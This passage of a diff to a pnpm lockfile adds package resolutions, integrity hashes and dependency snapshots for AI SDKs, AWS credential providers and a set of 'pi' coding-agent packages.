https://registry.npmjs.org/marked/-/marked-18.0.11.tgz} + engines: {node: '>= 20'} + hasBin: true + math-intrinsics@1.1.0: resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==, tarball: https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz} engines: {node: '>= 0.4'} @@ -3958,6 +4282,10 @@ packages: resolution: {integrity: sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==, tarball: https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz} engines: {node: 18 || 20 || >=22} + minimatch@10.2.6: + resolution: {integrity: sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==, tarball: https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz} + engines: {node: 18 || 20 || >=22} + minimist@1.2.8: resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==, tarball: https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz} @@ -4016,6 +4344,15 @@ packages: resolution: {integrity: sha512-KdHvFWZjEKDf0cakgFjebl371GPsISX2oZHcuyKqM7DtogIsHrqKeLTo8wBHxaXRAQlY2PsPlZmfo+9ZCxEREQ==, tarball: https://registry.npmjs.org/node-abi/-/node-abi-3.92.0.tgz} engines: {node: '>=10'} + node-domexception@1.0.0: + resolution: {integrity: sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==, tarball: https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz} + engines: {node: '>=10.5.0'} + deprecated: Use your platform's native DOMException instead + + node-fetch@3.3.2: + resolution: {integrity: sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==, tarball: https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + node-releases@2.0.46: resolution: {integrity: sha512-GYVXHE2KnrzAfsAjl4uP++evGFCrAU1jta4ubEjIG7YWt/64Gqv66a30yKwWczVjA6j3bM4nBwH7Pk1JmDHaxQ==, tarball: https://registry.npmjs.org/node-releases/-/node-releases-2.0.46.tgz} engines: {node: '>=18'} @@ -4039,6 +4376,30 @@ packages: resolution: {integrity: sha512-smsWv2LzFjP03xmvFoJ331ss6h+jixfA4UUV/Bsiyuu4YJPfN+FIQGOIiv4w9/+MoHkfkJ22UIaQWRVFRfH6Vw==, tarball: https://registry.npmjs.org/open/-/open-11.0.0.tgz} engines: {node: '>=20'} + openai@7.19.0: + resolution: {integrity: sha512-MX2s3u2L5racTO0CC/SWpCOasJQBCJrqLKXK+l82cAhdeF8mPMBEe/gxMm0ZFa2xpKpOFLRjxv5afYEZbBXmbQ==, tarball: https://registry.npmjs.org/openai/-/openai-7.19.0.tgz} + engines: {node: '>=22.0.0'} + peerDependencies: + '@aws-sdk/credential-provider-node': '>=3.972.0 <4' + '@smithy/hash-node': '>=4.3.0 <5' + '@smithy/signature-v4': '>=5.4.0 <6' + undici: '>=5 <9' + ws: ^8.21.0 + zod: ^3.25 || ^4.0 + peerDependenciesMeta: + '@aws-sdk/credential-provider-node': + optional: true + '@smithy/hash-node': + optional: true + '@smithy/signature-v4': + optional: true + undici: + optional: true + ws: + optional: true + zod: + optional: true + optionator@0.9.4: resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==, tarball: https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz} engines: {node: '>= 0.8.0'} @@ -4051,6 +4412,10 @@ packages: resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==, tarball: https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz} engines: {node: '>=10'} + p-retry@4.6.2: + resolution: {integrity: sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==, tarball: https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz} + engines: {node: '>=8'} + parse-entities@4.0.2: resolution: {integrity: sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==, tarball: https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz} @@ -4058,6 +4423,9 @@ packages: resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==, tarball: https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz} engines: {node: '>= 0.8'} + partial-json@0.1.7: + resolution: {integrity: sha512-Njv/59hHaokb/hRUjce3Hdv12wd60MtM9Z5Olmn+nehe0QDAsRtRbJPvJ0Z91TusF0SuZRIvnM+S4l6EIP8leA==, tarball: https://registry.npmjs.org/partial-json/-/partial-json-0.1.7.tgz} + path-exists@4.0.0: resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==, tarball: https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz} engines: {node: '>=8'} @@ -4072,6 +4440,13 @@ packages: pathe@2.0.3: resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==, tarball: https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz} + pi-memory@0.4.2: + resolution: {integrity: sha512-voH+1MalADyVN23p79g4atdtPxzr1bDcfk1y0uCJL0xfodiSzNA5V5CcmODBTtHlrQzDT+AgasYPlgNWg8YPRQ==, tarball: https://registry.npmjs.org/pi-memory/-/pi-memory-0.4.2.tgz} + engines: {node: '>=22.19.0'} + peerDependencies: + '@earendil-works/pi-ai': '>=0.81.1' + '@earendil-works/pi-coding-agent': '>=0.81.1' + picocolors@1.1.1: resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==, tarball: https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz} @@ -4137,13 +4512,29 @@ packages: peerDependencies: react: '>=16.0.0' + proper-lockfile@4.1.2: + resolution: {integrity: sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==, tarball: https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz} + property-information@7.1.0: resolution: {integrity: sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==, tarball: https://registry.npmjs.org/property-information/-/property-information-7.1.0.tgz} + protobufjs@7.6.6: + resolution: {integrity: sha512-dYDWdjSl5RNb7SgPxGQcRU+GtvP7s2fpkrY0r432PcOIaZ0/rBcxEZnQN67iJhFuQiVw754JDoPruPCNdGsbjg==, tarball: https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.6.tgz} + engines: {node: '>=12.0.0'} + proxy-addr@2.0.7: resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==, tarball: https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz} engines: {node: '>= 0.10'} + proxy-agent-negotiate@1.1.0: + resolution: {integrity: sha512-N8IBcM3UgCVzz2L2Lqv8DVntDnnC8/hiV4nEDUPkqq72TPUgYWjQc+bdZlBPZK9LzPAvOY//gAt0S0DApoOXWQ==, tarball: https://registry.npmjs.org/proxy-agent-negotiate/-/proxy-agent-negotiate-1.1.0.tgz} + engines: {node: '>= 20'} + peerDependencies: + kerberos: ^2.0.0 + peerDependenciesMeta: + kerberos: + optional: true + pump@3.0.4: resolution: {integrity: sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==, tarball: https://registry.npmjs.org/pump/-/pump-3.0.4.tgz} @@ -4155,6 +4546,9 @@ packages: resolution: {integrity: sha512-Rzq0KEyX/w/tEybncDgdkZrJgVUsUMk3xjh3t5bv3S1HTAtg+uOYt72+ZfwiQwKdysThkTBdL/rTi6HDmX9Ddw==, tarball: https://registry.npmjs.org/qs/-/qs-6.15.2.tgz} engines: {node: '>=0.6'} + quickjs-wasi@3.6.2: + resolution: {integrity: sha512-FCqGtGOrMgzUiIrMNMA2YnsOxCNwo31dzqXvclXUC6xeT35NJLKXQJsvbeCTjvoFAwZgEAPg8U6+KAPDGXn8Mg==, tarball: https://registry.npmjs.org/quickjs-wasi/-/quickjs-wasi-3.6.2.tgz} + radix-ui@1.4.3: resolution: {integrity: sha512-aWizCQiyeAenIdUbqEpXgRA1ya65P13NKn/W8rWkcN0OPkRDxdBVLWnIEDsS2RpwCK2nobI7oMUSmexzTDyAmA==, tarball: https://registry.npmjs.org/radix-ui/-/radix-ui-1.4.3.tgz} peerDependencies: @@ -4257,6 +4651,14 @@ packages: resolve-pkg-maps@1.0.0: resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==, tarball: https://registry.npmjs.org/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz} + retry@0.12.0: + resolution: {integrity: sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==, tarball: https://registry.npmjs.org/retry/-/retry-0.12.0.tgz} + engines: {node: '>= 4'} + + retry@0.13.1: + resolution: {integrity: sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==, tarball: https://registry.npmjs.org/retry/-/retry-0.13.1.tgz} + engines: {node: '>= 4'} + rolldown@1.0.2: resolution: {integrity: sha512-oZx5zVDtVB44AW3eaifgDml1gWRDZGvjcfdxonE4swNPG98PrrXjaO/KrnUjzlMnztCCRVlUueA1kCXhARGk6g==, tarball: https://registry.npmjs.org/rolldown/-/rolldown-1.0.2.tgz} engines: {node: ^20.19.0 || >=22.12.0} @@ -4293,6 +4695,11 @@ packages: engines: {node: '>=10'} hasBin: true + semver@7.8.5: + resolution: {integrity: sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==, tarball: https://registry.npmjs.org/semver/-/semver-7.8.5.tgz} + engines: {node: '>=10'} + hasBin: true + send@1.2.1: resolution: {integrity: sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==, tarball: https://registry.npmjs.org/send/-/send-1.2.1.tgz} engines: {node: '>= 18'} @@ -4338,6 +4745,9 @@ packages: resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==, tarball: https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz} engines: {node: '>= 0.4'} + signal-exit@3.0.7: + resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==, tarball: https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz} + simple-concat@1.0.1: resolution: {integrity: sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==, tarball: https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz} @@ -4377,6 +4787,9 @@ packages: space-separated-tokens@2.0.2: resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==, tarball: https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz} + standardwebhooks@1.1.1: + resolution: {integrity: sha512-bCbX9ZEyFkWPsRz7Bl3NuQUJohmwGSev/yhr7vhaGPlc4AfIrspIRa6cPTBuI1ItmrTDJ4d/S2hCsfe4+vQGnQ==, tarball: https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.1.1.tgz} + statuses@2.0.2: resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==, tarball: https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz} engines: {node: '>= 0.8'} @@ -4451,6 +4864,9 @@ packages: trough@2.2.0: resolution: {integrity: sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==, tarball: https://registry.npmjs.org/trough/-/trough-2.2.0.tgz} + ts-algebra@2.0.0: + resolution: {integrity: sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==, tarball: https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz} + ts-api-utils@2.5.0: resolution: {integrity: sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==, tarball: https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz} engines: {node: '>=18.12'} @@ -4509,6 +4925,9 @@ packages: resolution: {integrity: sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==, tarball: https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz} engines: {node: '>= 18'} + typebox@1.3.27: + resolution: {integrity: sha512-zu+jc1pcy4UiNThxikUr36f0Rybk9PEeCg/NE6adeWr/SKsdNO4EzZHYRDlv2YCVAfj3Odq3dESSo/jNyoBXzA==, tarball: https://registry.npmjs.org/typebox/-/typebox-1.3.27.tgz} + typedarray@0.0.6: resolution: {integrity: sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==, tarball: https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz} @@ -4530,6 +4949,10 @@ packages: undici-types@7.24.6: resolution: {integrity: sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==, tarball: https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz} + undici@8.10.2: + resolution: {integrity: sha512-/y4/bH9YNU5hi9NIrpOuvGXFcxrj3CMrV+/AYpowAYTpHn8gX/XPFjNy766FPoYY0miQhdW977JFWKGNhBdwyQ==, tarball: https://registry.npmjs.org/undici/-/undici-8.10.2.tgz} + engines: {node: '>=22.19.0'} + unified@11.0.5: resolution: {integrity: sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==, tarball: https://registry.npmjs.org/unified/-/unified-11.0.5.tgz} @@ -4666,6 +5089,10 @@ packages: yaml: optional: true + web-streams-polyfill@3.3.3: + resolution: {integrity: sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==, tarball: https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz} + engines: {node: '>= 8'} + which@2.0.2: resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==, tarball: https://registry.npmjs.org/which/-/which-2.0.2.tgz} engines: {node: '>= 8'} @@ -4735,6 +5162,195 @@ snapshots: dependencies: zod: 4.4.3 + '@anthropic-ai/sdk@0.129.0(zod@4.4.3)': + dependencies: + json-schema-to-ts: 3.1.1 + standardwebhooks: 1.1.1 + optionalDependencies: + zod: 4.4.3 + + '@aws-sdk/client-bedrock-runtime@3.1127.0': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/credential-provider-node': 3.972.89 + '@aws-sdk/eventstream-handler-node': 3.972.39 + '@aws-sdk/middleware-eventstream': 3.972.34 + '@aws-sdk/middleware-websocket': 3.972.59 + '@aws-sdk/token-providers': 3.1127.0 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/fetch-http-handler': 5.8.0 + '@smithy/node-http-handler': 4.12.1 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/core@3.978.7': + dependencies: + '@aws-sdk/types': 3.975.0 + '@aws-sdk/xml-builder': 3.972.42 + '@aws/lambda-invoke-store': 0.3.0 + '@smithy/core': 3.37.0 + '@smithy/signature-v4': 5.7.4 + '@smithy/types': 4.19.0 + bowser: 2.15.0 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-env@3.972.77': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-http@3.972.79': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/fetch-http-handler': 5.8.0 + '@smithy/node-http-handler': 4.13.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-ini@3.973.22': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/credential-provider-env': 3.972.77 + '@aws-sdk/credential-provider-http': 3.972.79 + '@aws-sdk/credential-provider-login': 3.972.85 + '@aws-sdk/credential-provider-process': 3.972.77 + '@aws-sdk/credential-provider-sso': 3.973.21 + '@aws-sdk/credential-provider-web-identity': 3.972.83 + '@aws-sdk/nested-clients': 3.997.52 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/credential-provider-imds': 4.5.2 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-login@3.972.85': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/nested-clients': 3.997.52 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-node@3.972.89': + dependencies: + '@aws-sdk/credential-provider-env': 3.972.77 + '@aws-sdk/credential-provider-http': 3.972.79 + '@aws-sdk/credential-provider-ini': 3.973.22 + '@aws-sdk/credential-provider-process': 3.972.77 + '@aws-sdk/credential-provider-sso': 3.973.21 + '@aws-sdk/credential-provider-web-identity': 3.972.83 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/credential-provider-imds': 4.5.2 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-process@3.972.77': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-sso@3.973.21': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/nested-clients': 3.997.52 + '@aws-sdk/token-providers': 3.1157.0 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/credential-provider-web-identity@3.972.83': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/nested-clients': 3.997.52 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/eventstream-handler-node@3.972.39': + dependencies: + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/middleware-eventstream@3.972.34': + dependencies: + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/middleware-websocket@3.972.59': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/fetch-http-handler': 5.8.0 + '@smithy/signature-v4': 5.7.4 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/nested-clients@3.997.52': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/signature-v4-multi-region': 3.996.50 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/fetch-http-handler': 5.8.0 + '@smithy/node-http-handler': 4.13.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/signature-v4-multi-region@3.996.50': + dependencies: + '@aws-sdk/types': 3.975.0 + '@smithy/signature-v4': 5.7.4 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/token-providers@3.1127.0': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/nested-clients': 3.997.52 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/token-providers@3.1157.0': + dependencies: + '@aws-sdk/core': 3.978.7 + '@aws-sdk/nested-clients': 3.997.52 + '@aws-sdk/types': 3.975.0 + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/types@3.975.0': + dependencies: + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws-sdk/xml-builder@3.972.42': + dependencies: + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@aws/lambda-invoke-store@0.3.0': {} + '@babel/code-frame@7.29.7': dependencies: '@babel/helper-validator-identifier': 7.29.7 @@ -4877,6 +5493,8 @@ snapshots: '@babel/core': 7.29.7 '@babel/helper-plugin-utils': 7.29.7 + '@babel/runtime@7.29.10': {} + '@babel/template@7.29.7': dependencies: '@babel/code-frame': 7.29.7 @@ -4902,6 +5520,100 @@ snapshots: '@drizzle-team/brocli@0.10.2': {} + '@earendil-works/pi-agent-core@1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3)': + dependencies: + '@earendil-works/pi-ai': 1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3) + typebox: 1.3.27 + transitivePeerDependencies: + - '@aws-sdk/credential-provider-node' + - '@modelcontextprotocol/sdk' + - '@smithy/hash-node' + - '@smithy/signature-v4' + - bufferutil + - kerberos + - supports-color + - undici + - utf-8-validate + - ws + - zod + + '@earendil-works/pi-ai@1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3)': + dependencies: + '@anthropic-ai/sdk': 0.129.0(zod@4.4.3) + '@aws-sdk/client-bedrock-runtime': 3.1127.0 + '@earendil-works/pi-telemetry': 1.4.0 + '@google/genai': 2.21.0 + '@smithy/node-http-handler': 4.12.1 + http-proxy-agent: 9.1.0 + https-proxy-agent: 9.1.0 + openai: 7.19.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3) + partial-json: 0.1.7 + typebox: 1.3.27 + transitivePeerDependencies: + - '@aws-sdk/credential-provider-node' + - '@modelcontextprotocol/sdk' + - '@smithy/hash-node' + - '@smithy/signature-v4' + - bufferutil + - kerberos + - supports-color + - undici + - utf-8-validate + - ws + - zod + + '@earendil-works/pi-codemode@1.4.0': + dependencies: + quickjs-wasi: 3.6.2 + + '@earendil-works/pi-coding-agent@1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(zod@4.4.3)': + dependencies: + '@earendil-works/pi-agent-core': 1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3) + '@earendil-works/pi-ai': 1.4.0(@aws-sdk/credential-provider-node@3.972.89)(@smithy/signature-v4@5.7.4)(undici@8.10.2)(zod@4.4.3) + '@earendil-works/pi-codemode': 1.4.0 + '@earendil-works/pi-mcp': 1.4.0 + '@earendil-works/pi-tui': 1.4.0 + '@silvia-odwyer/photon-node': 0.3.4 + brace-expansion: 5.0.12 + chalk: 6.0.0 + cross-spawn: 7.0.6 + diff: 8.0.4 + grok-mermaid: 0.2.3 + highlight.js: 10.7.3 + hosted-git-info: 9.0.3 + ignore: 7.0.8 + jiti: 2.7.0 + minimatch: 10.2.6 + proper-lockfile: 4.1.2 + quickjs-wasi: 3.6.2 + semver: 7.8.5 + typebox: 1.3.27 + undici: 8.10.2 + yaml: 2.9.0 + transitivePeerDependencies: + - '@aws-sdk/credential-provider-node' + - '@modelcontextprotocol/sdk' + - '@smithy/hash-node' + - '@smithy/signature-v4' + - bufferutil + - kerberos + - supports-color + - utf-8-validate + - ws + - zod + + '@earendil-works/pi-mcp@1.4.0': + dependencies: + cross-spawn: 7.0.6 + + '@earendil-works/pi-telemetry@1.4.0': {} + + '@earendil-works/pi-tui@1.4.0': + dependencies: + get-east-asian-width: 1.6.0 + marked: 18.0.11 + marked-cjk-friendly: 0.1.2(marked@18.0.11) + '@emnapi/core@1.10.0': dependencies: '@emnapi/wasi-threads': 1.2.1 @@ -5279,6 +5991,17 @@ snapshots: '@floating-ui/utils@0.2.11': {} + '@google/genai@2.21.0': + dependencies: + google-auth-library: 10.9.1 + p-retry: 4.6.2 + protobufjs: 7.6.6 + ws: 8.20.1 + transitivePeerDependencies: + - bufferutil + - supports-color + - utf-8-validate + '@humanfs/core@0.19.2': dependencies: '@humanfs/types': 0.15.0 @@ -5328,6 +6051,26 @@ snapshots: '@preact/signals-core@1.14.2': {} + '@protobufjs/aspromise@1.1.2': {} + + '@protobufjs/base64@1.1.2': {} + + '@protobufjs/codegen@2.0.5': {} + + '@protobufjs/eventemitter@1.1.1': {} + + '@protobufjs/fetch@1.1.1': + dependencies: + '@protobufjs/aspromise': 1.1.2 + + '@protobufjs/float@1.0.2': {} + + '@protobufjs/path@1.1.2': {} + + '@protobufjs/pool@1.1.0': {} + + '@protobufjs/utf8@1.1.2': {} + '@quilted/events@2.1.3': dependencies: '@preact/signals-core': 1.14.2 @@ -6179,12 +6922,13 @@ snapshots: '@rolldown/binding-win32-x64-msvc@1.0.2': optional: true - '@rolldown/plugin-babel@0.2.3(@babel/core@7.29.7)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0))': + '@rolldown/plugin-babel@0.2.3(@babel/core@7.29.7)(@babel/runtime@7.29.10)(rolldown@1.0.2)(vite@8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0))': dependencies: '@babel/core': 7.29.7 picomatch: 4.0.4 rolldown: 1.0.2 optionalDependencies: + '@babel/runtime': 7.29.10 vite: 8.0.14(@types/node@25.9.1)(esbuild@0.28.0)(jiti@2.7.0)(tsx@4.22.3)(yaml@2.9.0) '@rolldown/pluginutils@1.0.1': {} @@ -6264,8 +7008,51 @@ snapshots: '@rollup/rollup-win32-x64-msvc@4.62.4': optional: true + '@silvia-odwyer/photon-node@0.3.4': {} + + '@smithy/core@3.37.0': + dependencies: + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@smithy/credential-provider-imds@4.5.2': + dependencies: + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@smithy/fetch-http-handler@5.8.0': + dependencies: + '@smithy/core': 3.37.0 + '@smithy/types': 4.19.0 + tslib: 2.8.1 + + '@smithy/node-http-handler@4.12.1': + dependencies: + '@smithy/core': 3.37.0 + 